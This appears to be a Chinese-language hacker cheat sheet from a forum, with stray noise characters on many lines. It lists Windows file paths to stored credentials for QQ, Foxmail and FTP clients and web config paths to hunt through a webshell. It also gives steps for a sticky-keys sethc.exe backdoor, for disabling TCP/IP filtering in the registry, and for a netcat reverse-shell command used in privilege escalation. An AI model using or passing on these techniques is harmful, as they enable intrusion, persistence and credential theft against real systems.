5 e! }; E& x9 X" }% g/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
0 I( r3 s0 g" O8 Z" ~+ W) Lc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
) f( e7 `3 ~( ^! N3 cc:\Program Files\Tencent\qq\bin\qq.exe
. Q4 A4 f, x. J" r  I# ac:\Program Files\Tencent\qq2009\qq.exe
) u4 J# |* H4 m8 o* `& Q7 v, m9 D6 O% zc:\Program Files\Tencent\qq2008\qq.exe
* z4 r! B" g" v; T% @c:\Program Files\Tencent\qq2010\bin\qq.exe
: q# F( f0 l0 |8 \c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
& H" C/ r* T$ k  Dc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
, _4 |  [0 M1 bC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
0 O& M" p3 I! ^4 O" PC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
  [3 M' K; e) d! t. pC:\Program Files\LeapFTP 3.0\LeapFTP.exe
7 `& W$ D2 i/ H2 ]. ?, l6 bC:\Program Files\LeapFTP\LeapFTP.exe
) G, t4 t5 i, ic:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
% y) I6 D$ r$ B6 `  ZC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
0 [# p* F( f: q9 Wc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
" T* H( S1 I% r6 o' pC:\Program Files\StormII\Storm.exe
, n2 o7 [5 d2 @. x
- i0 Q6 o/ K/ r5 \' x$ B* M" w3.网站相对路径:

$ \4 t: O0 o! i: O2 M. B/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
2 H, p& u% t0 v* b3 X' O0 t./config.inc.php
+ ?& ~. Z0 s; X& e3 u* Y- M../../config.inc.php
../config.inc.php
../../../config.inc.php
( `$ p9 V, g* n) q/conn.php
) {$ F. Q$ |* W! _. A6 {./conn.php
../../conn.php
../conn.php
+ F8 Y7 f- C- k- p3 v- l../../../conn.php
/conn.asp
./conn.asp
- E- J3 B5 }* k../../conn.asp
../conn.asp
/ q4 h: @4 Q3 \5 r2 |6 E$ F../../../conn.asp
+ i( P( ?  `, N4 {3 b' \$ \! l/config.inc.php
./config.inc.php
../../config.inc.php
$ W; z- s. Q, j0 o# Y../config.inc.php
../../../config.inc.php
/config/config.php
& K3 ?6 H# t& J../../config/config.php
../config/config.php
../../../config/config.php
  b; P6 d7 [" \: D7 y! A2 c/config/config.inc.php
./config/config.inc.php
1 Z. J; o& D, v8 i3 {. n1 r# f../../config/config.inc.php
5 x+ F) v& P7 h2 Z# A: e$ S../config/config.inc.php
6 j6 p/ B0 V2 c+ L! Q0 k7 q../../../config/config.inc.php
/config/conn.php
. b: u$ C# y$ ]; a./config/conn.php
../../config/conn.php
8 z4 K( h  _6 J' a../config/conn.php
../../../config/conn.php
/config/conn.asp
6 i8 ?, I6 p" w+ x. z./config/conn.asp
../../config/conn.asp
../config/conn.asp
  x4 t% u8 x- x# ]: k../../../config/conn.asp
* h  g' F% d& ?; G) w+ ]9 h6 ~/config/config.inc.php
9 G9 x9 N1 `. }, L8 \./config/config.inc.php
* `0 R/ @' c2 J/ J, R' @+ t6 u% n../../config/config.inc.php
../config/config.inc.php
  |  t* S) E/ c+ f$ y) J../../../config/config.inc.php
$ l. H" z  ~6 v( N4 P; J. O/data/config.php
8 D' S4 ~* Q/ e../../data/config.php
: {/ \6 M% M" e0 [6 ^+ O0 g& n9 p# U../data/config.php
../../../data/config.php
- j8 ?" d, d  K/data/config.inc.php
./data/config.inc.php
( ~- p. N- a  o, F' l6 z../../data/config.inc.php
0 a" {, m2 e& N& ?6 ^../data/config.inc.php
../../../data/config.inc.php
) m2 `  J+ ^3 r# \; l+ ^! l# w/data/conn.php
0 A* p8 L3 K# Z0 m./data/conn.php
8 v# ]2 b. D# Z( W# `' H5 c, I. \../../data/conn.php
../data/conn.php
../../../data/conn.php
+ Y6 v% a. [& W% A+ z; T& U9 b/data/conn.asp
; ^  U$ i6 s- h9 T: U; E- d./data/conn.asp
9 U" b4 I: H; P& n. x/ q3 A1 B../../data/conn.asp
../data/conn.asp
+ G0 N% R) S- ]+ r+ N../../../data/conn.asp
, X, s' H, J+ ^) T0 \8 ^6 E9 D' B/data/config.inc.php
./data/config.inc.php
( n' ^& B% {) E6 ?& p../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
' r) h8 E4 `! }. M/include/config.inc.php
6 `8 K, |5 H7 ^./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
3 l9 d# B) h; O../../../include/config.inc.php
/include/conn.php
6 [7 o7 z2 \: Q) Y$ P- M./include/conn.php
3 s6 b; [9 O- H/ p) m7 t3 J../../include/conn.php
% t6 m5 W+ U/ @2 ]2 h../include/conn.php
../../../include/conn.php
3 [: w9 e  ^* M0 W) g4 h" T/include/conn.asp
./include/conn.asp
../../include/conn.asp
8 J5 C4 V; c( n  ]0 p8 o" _: C../include/conn.asp
4 _3 `3 A% v5 I../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
" P+ y; P0 i2 j7 O../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
$ a" s% Q  l. `0 V- T# @8 x/ Q& }8 f../inc/config.php
% L! ]5 S: o3 L" s' l../../../inc/config.php
1 K5 n/ z' U& Y! ~5 d' ]/inc/config.inc.php
9 k2 D& R% U9 Q# ^& Y4 n./inc/config.inc.php
& z7 _9 E  a* g- ]../../inc/config.inc.php
7 y8 B" P0 n, A/ `9 l../inc/config.inc.php
../../../inc/config.inc.php
+ b5 ~' c, C3 c' ]3 V/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
% u' c: Q9 P& I* c../../../inc/conn.php
! F1 x) P& {2 C# G% ~! f/inc/conn.asp
./inc/conn.asp
) L2 R0 T. M9 [1 D. {, d! }4 g../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
* ]2 I3 F4 @9 o. U) W, @( j./inc/config.inc.php
, F6 M, C1 X; |2 p) \, k  z2 R../../inc/config.inc.php
! [/ N  Q8 }! L/ ]0 H3 b. {../inc/config.inc.php
../../../inc/config.inc.php
7 ^6 c* k: {: T8 d# c, `1 B4 q/index.php
& K% Y3 h- @, M./index.php
# M* E5 v' K1 P6 P1 Z) [../../index.php
) j) a8 v/ R. n7 L8 k../index.php
../../../index.php
0 H' ~' Z& |, A8 w2 |' d) K/index.asp
, h3 r) e3 |* \4 A! n/ U./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

" m/ b) X9 z- u0 p5 ~' ?0 a　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
( _) K7 e, ?3 M
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

: E, u! l9 [1 [7 v6 l1 o9 B　　attrib c:\windows\system32\sethc.exe +h +r +s

  v- m0 w  g$ J$ z　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
( R( P4 ?1 k/ D) D去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
3 V- H1 f+ e1 r4 n# M$ Y4 lHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

/ D* a* Z/ m- Q! |分别用
* P; P9 S7 }( f6 D; [, I9 {, `regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
8 Q4 n+ c4 _' D- g* C, h. {2 h9 L
5 X" ^& W- |* g" l然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
1 u$ V1 I' c! B8 R/ @! v3 t" n
再将以上三个文件分别用
# W# |) e0 Y- a  B) f4 Aregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
$ L% c% P; v3 Q
webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
& ]( N/ s# d/ S例如反弹cmdshell：
- {  x' T% \3 s! v: Y/ b"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
7 t' \& ?6 k4 L2 L+ S% ~$ ~通常都不会成功。

( c& ]' {8 x( A% o: i6 k而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
  L( |. q( _  m' L8 m- K命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功